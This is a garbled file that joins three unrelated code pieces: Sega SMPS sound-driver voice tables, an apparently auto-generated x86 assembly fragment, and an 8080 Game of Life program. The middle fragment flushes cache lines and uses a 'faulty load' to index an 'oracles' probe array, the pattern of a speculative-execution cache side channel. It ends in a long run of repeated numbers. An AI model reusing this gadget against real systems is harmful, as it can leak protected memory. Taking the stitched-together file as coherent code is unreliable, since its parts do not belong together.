; $07, $04, $09, $02, $55, $3A, $25, $1A, $1A, $80, $07, $80 smpsVcAlgorithm $04 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $00, $00, $00, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $15, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $05, $12, $0D, $11 smpsVcDecayRate2 $02, $09, $04, $07 smpsVcDecayLevel $01, $02, $03, $05 smpsVcReleaseRate $0A, $05, $0A, $05 smpsVcTotalLevel $00, $07, $00, $1A ; Voice $01 ; $3D ; $01, $01, $01, $01, $94, $19, $19, $19, $0F, $0D, $0D, $0D ; $07, $04, $04, $04, $25, $1A, $1A, $1A, $15, $80, $80, $80 smpsVcAlgorithm $05 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $01, $01, $01, $01 smpsVcRateScale $00, $00, $00, $02 smpsVcAttackRate $19, $19, $19, $14 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0D, $0D, $0D, $0F smpsVcDecayRate2 $04, $04, $04, $07 smpsVcDecayLevel $01, $01, $01, $02 smpsVcReleaseRate $0A, $0A, $0A, $05 smpsVcTotalLevel $00, $00, $00, $15 ; Voice $02 ; $03 ; $00, $D7, $33, $02, $5F, $9F, $5F, $1F, $13, $0F, $0A, $0A ; $10, $0F, $02, $09, $35, $15, $25, $1A, $13, $16, $15, $80 smpsVcAlgorithm $03 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $00, $03, $0D, $00 smpsVcCoarseFreq $02, $03, $07, $00 smpsVcRateScale $00, $01, $02, $01 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0A, $0A, $0F, $13 smpsVcDecayRate2 $09, $02, $0F, $10 smpsVcDecayLevel $01, $02, $01, $03 smpsVcReleaseRate $0A, $05, $05, $05 smpsVcTotalLevel $00, $15, $16, $13 ; Voice $03 ; $34 ; $70, $72, $31, $31, $1F, $1F, $1F, $1F, $10, $06, $06, $06 ; $01, $06, $06, $06, $35, $1A, $15, $1A, $10, $83, $18, $83 smpsVcAlgorithm $04 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $07, $07 smpsVcCoarseFreq $01, $01, $02, $00 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $06, $06, $06, $10 smpsVcDecayRate2 $06, $06, $06, $01 smpsVcDecayLevel $01, $01, $01, $03 smpsVcReleaseRate $0A, $05, $0A, $05 smpsVcTotalLevel $03, $18, $03, $10 ; Voice $04 ; $3E ; $77, $71, $32, $31, $1F, $1F, $1F, $1F, $0D, $06, $00, $00 ; $08, $06, $00, $00, $15, $0A, $0A, $0A, $1B, $80, $80, $80 smpsVcAlgorithm $06 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $07, $07 smpsVcCoarseFreq $01, $02, $01, $07 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $06, $0D smpsVcDecayRate2 $00, $00, $06, $08 smpsVcDecayLevel $00, $00, $00, $01 smpsVcReleaseRate $0A, $0A, $0A, $05 smpsVcTotalLevel $00, $00, $00, $1B ; Voice $05 ; $34 ; $33, $41, $7E, $74, $5B, $9F, $5F, $1F, $04, $07, $07, $08 ; $00, $00, $00, $00, $FF, $FF, $EF, $FF, $23, $80, $29, $87 smpsVcAlgorithm $04 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $07, $07, $04, $03 smpsVcCoarseFreq $04, $0E, $01, $03 smpsVcRateScale $00, $01, $02, $01 smpsVcAttackRate $1F, $1F, $1F, $1B smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $08, $07, $07, $04 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $0F, $0E, $0F, $0F smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $07, $29, $00, $23 ; Voice $06 ; $3A ; $01, $07, $31, $71, $8E, $8E, $8D, $53, $0E, $0E, $0E, $03 ; $00, $00, $00, $07, $1F, $FF, $1F, $0F, $18, $28, $27, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $07, $03, $00, $00 smpsVcCoarseFreq $01, $01, $07, $01 smpsVcRateScale $01, $02, $02, $02 smpsVcAttackRate $13, $0D, $0E, $0E smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $03, $0E, $0E, $0E smpsVcDecayRate2 $07, $00, $00, $00 smpsVcDecayLevel $00, $01, $0F, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $27, $28, $18 ; Voice $07 ; $3C ; $32, $32, $71, $42, $1F, $18, $1F, $1E, $07, $1F, $07, $1F ; $00, $00, $00, $00, $1F, $0F, $1F, $0F, $1E, $80, $0C, $80 smpsVcAlgorithm $04 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $04, $07, $03, $03 smpsVcCoarseFreq $02, $01, $02, $02 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1E, $1F, $18, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $1F, $07, $1F, $07 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $00, $01, $00, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $0C, $00, $1E ; Voice $08 ; $3C ; $71, $72, $3F, $34, $8D, $52, $9F, $1F, $09, $00, $00, $0D ; $00, $00, $00, $00, $23, $08, $02, $F7, $15, $80, $1D, $87 smpsVcAlgorithm $04 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $07, $07 smpsVcCoarseFreq $04, $0F, $02, $01 smpsVcRateScale $00, $02, $01, $02 smpsVcAttackRate $1F, $1F, $12, $0D smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0D, $00, $00, $09 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $0F, $00, $00, $02 smpsVcReleaseRate $07, $02, $08, $03 smpsVcTotalLevel $07, $1D, $00, $15 ; Voice $09 ; $3D ; $01, $01, $00, $00, $8E, $52, $14, $4C, $08, $08, $0E, $03 ; $00, $00, $00, $00, $1F, $1F, $1F, $1F, $1B, $80, $80, $9B smpsVcAlgorithm $05 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $00, $00, $01, $01 smpsVcRateScale $01, $00, $01, $02 smpsVcAttackRate $0C, $14, $12, $0E smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $03, $0E, $08, $08 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $01, $01, $01, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $1B, $00, $00, $1B ; Voice $0A ; $3A ; $01, $01, $01, $02, $8D, $07, $07, $52, $09, $00, $00, $03 ; $01, $02, $02, $00, $52, $02, $02, $28, $18, $22, $18, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $02, $01, $01, $01 smpsVcRateScale $01, $00, $00, $02 smpsVcAttackRate $12, $07, $07, $0D smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $03, $00, $00, $09 smpsVcDecayRate2 $00, $02, $02, $01 smpsVcDecayLevel $02, $00, $00, $05 smpsVcReleaseRate $08, $02, $02, $02 smpsVcTotalLevel $00, $18, $22, $18 ; Voice $0B ; $3C ; $36, $31, $76, $71, $94, $9F, $96, $9F, $12, $00, $14, $0F ; $04, $0A, $04, $0D, $2F, $0F, $4F, $2F, $33, $80, $1A, $80 smpsVcAlgorithm $04 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $07, $07, $03, $03 smpsVcCoarseFreq $01, $06, $01, $06 smpsVcRateScale $02, $02, $02, $02 smpsVcAttackRate $1F, $16, $1F, $14 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0F, $14, $00, $12 smpsVcDecayRate2 $0D, $04, $0A, $04 smpsVcDecayLevel $02, $04, $00, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $1A, $00, $33 ; Voice $0C ; $34 ; $33, $41, $7E, $74, $5B, $9F, $5F, $1F, $04, $07, $07, $08 ; $00, $00, $00, $00, $FF, $FF, $EF, $FF, $23, $90, $29, $97 smpsVcAlgorithm $04 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $07, $07, $04, $03 smpsVcCoarseFreq $04, $0E, $01, $03 smpsVcRateScale $00, $01, $02, $01 smpsVcAttackRate $1F, $1F, $1F, $1B smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $08, $07, $07, $04 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $0F, $0E, $0F, $0F smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $17, $29, $10, $23 ; Voice $0D ; $38 ; $63, $31, $31, $31, $10, $13, $1A, $1B, $0E, $00, $00, $00 ; $00, $00, $00, $00, $3F, $0F, $0F, $0F, $1A, $19, $1A, $80 smpsVcAlgorithm $00 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $03, $06 smpsVcCoarseFreq $01, $01, $01, $03 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1B, $1A, $13, $10 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $0E smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $00, $00, $00, $03 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $1A, $19, $1A ; Voice $0E ; $3A ; $31, $25, $73, $41, $5F, $1F, $1F, $9C, $08, $05, $04, $05 ; $03, $04, $02, $02, $2F, $2F, $1F, $2F, $29, $27, $1F, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $04, $07, $02, $03 smpsVcCoarseFreq $01, $03, $05, $01 smpsVcRateScale $02, $00, $00, $01 smpsVcAttackRate $1C, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $05, $04, $05, $08 smpsVcDecayRate2 $02, $02, $04, $03 smpsVcDecayLevel $02, $01, $02, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $1F, $27, $29 ; Voice $0F ; $04 ; $71, $41, $31, $31, $12, $12, $12, $12, $00, $00, $00, $00 ; $00, $00, $00, $00, $0F, $0F, $0F, $0F, $23, $80, $23, $80 smpsVcAlgorithm $04 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $04, $07 smpsVcCoarseFreq $01, $01, $01, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $12, $12, $12, $12 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $00 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $00, $00, $00, $00 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $23, $00, $23 ; Voice $10 ; $14 ; $75, $72, $35, $32, $9F, $9F, $9F, $9F, $05, $05, $00, $0A ; $05, $05, $07, $05, $2F, $FF, $0F, $2F, $1E, $80, $14, $80 smpsVcAlgorithm $04 smpsVcFeedback $02 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $07, $07 smpsVcCoarseFreq $02, $05, $02, $05 smpsVcRateScale $02, $02, $02, $02 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0A, $00, $05, $05 smpsVcDecayRate2 $05, $07, $05, $05 smpsVcDecayLevel $02, $00, $0F, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $14, $00, $1E ; Voice $11 ; $3D ; $01, $00, $01, $02, $12, $1F, $1F, $14, $07, $02, $02, $0A ; $05, $05, $05, $05, $2F, $2F, $2F, $AF, $1C, $80, $82, $80 smpsVcAlgorithm $05 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $02, $01, $00, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $14, $1F, $1F, $12 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0A, $02, $02, $07 smpsVcDecayRate2 $05, $05, $05, $05 smpsVcDecayLevel $0A, $02, $02, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $02, $00, $1C ; Voice $12 ; $1C ; $73, $72, $33, $32, $94, $99, $94, $99, $08, $0A, $08, $0A ; $00, $05, $00, $05, $3F, $4F, $3F, $4F, $1E, $80, $19, $80 smpsVcAlgorithm $04 smpsVcFeedback $03 smpsVcUnusedBits $00 smpsVcDetune $03, $03, $07, $07 smpsVcCoarseFreq $02, $03, $02, $03 smpsVcRateScale $02, $02, $02, $02 smpsVcAttackRate $19, $14, $19, $14 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0A, $08, $0A, $08 smpsVcDecayRate2 $05, $00, $05, $00 smpsVcDecayLevel $04, $03, $04, $03 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $19, $00, $1E ; Voice $13 ; $31 ; $33, $01, $00, $00, $9F, $1F, $1F, $1F, $0D, $0A, $0A, $0A ; $0A, $07, $07, $07, $FF, $AF, $AF, $AF, $1E, $1E, $1E, $80 smpsVcAlgorithm $01 smpsVcFeedback $06 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $03 smpsVcCoarseFreq $00, $00, $01, $03 smpsVcRateScale $00, $00, $00, $02 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0A, $0A, $0A, $0D smpsVcDecayRate2 $07, $07, $07, $0A smpsVcDecayLevel $0A, $0A, $0A, $0F smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $1E, $1E, $1E ; Voice $14 ; $3A ; $70, $76, $30, $71, $1F, $95, $1F, $1F, $0E, $0F, $05, $0C ; $07, $06, $06, $07, $2F, $4F, $1F, $5F, $21, $12, $28, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $07, $03, $07, $07 smpsVcCoarseFreq $01, $00, $06, $00 smpsVcRateScale $00, $00, $02, $00 smpsVcAttackRate $1F, $1F, $15, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $0C, $05, $0F, $0E smpsVcDecayRate2 $07, $06, $06, $07 smpsVcDecayLevel $05, $01, $04, $02 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $28, $12, $21 ; Voice $15 ; $28 ; $71, $00, $30, $01, $1F, $1F, $1D, $1F, $13, $13, $06, $05 ; $03, $03, $02, $05, $4F, $4F, $2F, $3F, $0E, $14, $1E, $80 smpsVcAlgorithm $00 smpsVcFeedback $05 smpsVcUnusedBits $00 smpsVcDetune $00, $03, $00, $07 smpsVcCoarseFreq $01, $00, $00, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1D, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $05, $06, $13, $13 smpsVcDecayRate2 $05, $02, $03, $03 smpsVcDecayLevel $03, $02, $04, $04 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $1E, $14, $0E
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xbde5, %r14 nop nop xor $38514, %rcx and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %rdx nop nop nop nop xor $22252, %rax lea addresses_normal_ht+0x75a8, %r9 clflush (%r9) nop nop nop inc %rbp movl $0x61626364, (%r9) nop nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0xc1c0, %r9 nop nop nop and $18819, %r14 mov (%r9), %r10 nop nop nop nop add %rax, %rax lea addresses_normal_ht+0x6f98, %rbp nop nop nop nop nop add %r14, %r14 movl $0x61626364, (%rbp) nop nop xor %rdx, %rdx lea addresses_D_ht+0x1e3a8, %rdx nop nop nop nop and %r10, %r10 movl $0x61626364, (%rdx) nop nop nop nop nop and %r14, %r14 lea addresses_D_ht+0xfc48, %rsi lea addresses_normal_ht+0x2fe6, %rdi nop nop and $3147, %r14 mov $121, %rcx rep movsq nop nop nop nop cmp $65520, %r9 lea addresses_normal_ht+0xb188, %rsi lea addresses_UC_ht+0x7554, %rdi nop nop nop nop and $8614, %r14 mov $37, %rcx rep movsq sub $41419, %rax lea addresses_WC_ht+0xbbf8, %rsi lea addresses_WC_ht+0x1fa8, %rdi nop nop nop nop sub $8230, %r9 mov $122, %rcx rep movsw nop nop nop nop nop sub %r14, %r14 lea addresses_WT_ht+0x9ba8, %rsi lea addresses_UC_ht+0x1592e, %rdi nop nop nop sub $59054, %rbp mov $78, %rcx rep movsb nop nop nop nop nop sub %r14, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rbp push %rbx push %rcx // Store lea addresses_WC+0x177a8, %r14 clflush (%r14) nop add $28173, %r8 movw $0x5152, (%r14) nop nop nop dec %rcx // Faulty Load lea addresses_PSE+0xbfa8, %r15 nop sub $10461, %rbx movb (%r15), %cl lea oracles, %r13 and $0xff, %rcx shlq $12, %rcx mov (%r13,%rcx,1), %rcx pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; LIFE .... VERSION 2.0 ; WRITTEN BY ED HALL ; ASSEMBLED BY GORDEN FRENCH ; AND RDM ; ; RETYPED FROM MANUAL APRIL 2015, UDO MUNK ; THIS VERSION MODIFIED FOR CROMEMCO TU-ART ; ; ; CNTL-A IS USED TO DEPOSIT A CELL OF LIFE ON THE SCREEN. ; CNTL-N, O, I AND H STEP THE CURSOR UP, DOWN, RIGHT, AND ; LEFT RESPECTIVELY. CNTL-B CAN BE USED TO ERASE THE SCREEN. ; ONCE THE INITIAL COLONY IS COMPLETE, CNTL-D IS USED TO ; START THE EVOLUTION OF THE CELLS. DURING THE COLORFUL ; EVOLUTION OF THE CELLS THE LETTER F ON YOUR KEYBOARD ; CAN BE USED TO FREEZE THE PICTURE. HIT THE LETTER G TO ; GO AND THE LETTER S TO STOP. RED EQU 9 GREEN EQU 10 BLUE EQU 12 STACK EQU 800H DISPLY EQU 800H TIME EQU 0D800H ;DAV EQU 32 ; FOR ALTAIR 88SIO REV 0 ;TBE EQU 2 DAV EQU 64 ; FOR CROMEMCO TU-ART TBE EQU 128 DELAY EQU 0 JMP START START: LXI SP,STACK CALL INIT MAN20: CALL SETUP MAN30: CALL GEN FRZE: IN 1 CPI 'F' JZ FRZE CALL CHANGE STP: IN 1 CPI 'S' JZ MAN20 MAN40: IN 255 RAL JC MAN40 RAL JC MAN20 JMP MAN30 GEN: LXI B,0 GEN20: CALL UPDATE MVI A,64 INR C CMP C JNZ GEN20 MVI C,0 INR B CMP B JNZ GEN20 RET CHANGE: LXI B,0 CHN15: CALL GTCOL CPI RED JNZ CHN20 MVI A,0 CALL PTCOL JMP CHN30 CHN20: CPI GREEN JNZ CHN30 MVI A,BLUE CALL PTCOL CHN30: MVI A,64 INR C CMP C JNZ CHN15 MVI C,0 INR B CMP B JNZ CHN15 RET CDISP: LXI H,DISPLY LXI D,-2048 CLEAR: MVI B,0 FILL: MVI A,0 FLL12: CMP D JNZ FLL20 CMP E RZ FLL20: MOV M,B INX D INX H JMP FLL12 UPDATE: PUSH B MVI A,0 CMP C JNZ UPD10 DCR C CALL UPROW STA ROWA POP B PUSH B CALL UPROW STA ROWB POP B PUSH B UPD10: INR C CALL UPROW LXI H,ROWB MOV B,M MOV M,A ADD B DCX H MOV C,M MOV M,B ADD C MOV D,A POP B RZ PUSH D CALL GTCOL POP D CPI 0 JZ UPD20 MOV A,D CPI 3 RZ CPI 4 RZ MVI A,RED JMP PTCOL UPD20: MOV A,D CPI 3 RNZ MVI A,GREEN JMP PTCOL UPROW: DCR B MVI D,0 CALL UPONE INR B CALL UPONE INR B CALL UPONE MOV A,D RET UPONE: PUSH D CALL GTCOL POP D CPI 0 RZ CPI 10 RZ INR D RET GTCOL: CALL FNDCOL MOV A,M JC GT20 ANI 15 RET GT20: ANI 240 RLC RLC RLC RLC RET PTCOL: ANI 15 DB 0F5H CALL FNDCOL POP D JC PTC20 MOV A,M ANI 240 ADD D MOV M,A RET PTC20: MOV A,D RLC RLC RLC RLC MOV D,A MOV A,M ANI 15 ADD D MOV M,A RET FNDCOL: LXI H,DISPLY MOV A,B ANI 32 JZ FND20 LXI D,512 DAD D FND20: MOV A,C ANI 32 JZ FND30 LXI D,1024 DAD D FND30: MOV A,C ANI 31 RLC RLC RLC RAL MOV E,A MVI A,0 RAL MOV D,A DAD D MOV A,B RAR DB 0F5H ANI 15 MOV E,A MVI D,0 DAD D DB 0F1H RET CHECK: IN 0 ANI DAV RNZ INR C JNZ CHECK INR B JNZ CHECK RET TTYONE: IN 0 ANI TBE JZ TTYONE MOV A,B OUT 1 RET TTYOUT: MOV B,M MVI A,0 CMP B RZ CALL TTYONE INX H JMP TTYOUT INIT: CALL CDISP MVI A,132 OUT 14 MVI A,176 OUT 15 LXI H,IDENT CALL TTYOUT INT20: CALL CHECK ; JZ INT20 ; INSERT JZ INT20 HERE FOR INST IN 1 MOV B,A CALL TTYONE ANI 127 CPI 89 RET ; INSERT RZ HERE FOR INST LXI H,INST CALL TTYOUT SETUP: LXI H,ENTER CALL TTYOUT CALL CDISP LXI B,0 STP20: CALL GTCHR LXI H,TAB ANI 7FH MOV D,A STP30: SUB A CMP M JZ STP20 MOV A,D CMP M JZ STP40 INX H INX H INX H JMP STP30 STP40: INX H MOV E,M INX H MOV D,M XCHG CALL INDEX JMP STP20 INDEX: PCHL TAB: DB 1 DW ON DB 2 DW OFF DB 4 DW THRU DB 8 DW BACK DB 9 DW FWD DB 15 DW DOWN DB 11 DW HOME DB 13 DW RETURN DB 14 DW UP DB 0 DB 0 DB 0 DB 0 THRU: POP B RET HOME: LXI B,0 RET RETURN: MVI B,0 DOWN: INR C RET ON: MVI A,15 BOTH: CALL PTCOL FWD: INR B RET OFF: MVI A,0 JMP BOTH UP: DCR C RET BACK: DCR B RET GTCHR: CALL GTCOL DB 0F5H GTC20: PUSH B MVI A,12 CALL PTCOL LXI B,DELAY CALL CHECK JNZ GTC40 POP B PUSH B MVI A,0 CALL PTCOL LXI B,DELAY CALL CHECK POP B JZ GTC20 GTC30: POP 6 CALL PTCOL IN 1 OUT 1 RET GTC40: POP B JMP GTC30 ROWA: DW 0 ROWB: DW 0 IDENT: DW 'IL' DW 'EF' DW '..' DW '..' DW 'EV' DW 'SR' DW 'OI' DW ' N' DW '.2' DW ' 0' DW 0A0DH DW 0A0AH DW 0 INST: DW 0 ENTER: DW 'NE' DW 'ET' DW ' R' DW 'AD' DW 'AT' DW 0A0DH DW 0 END
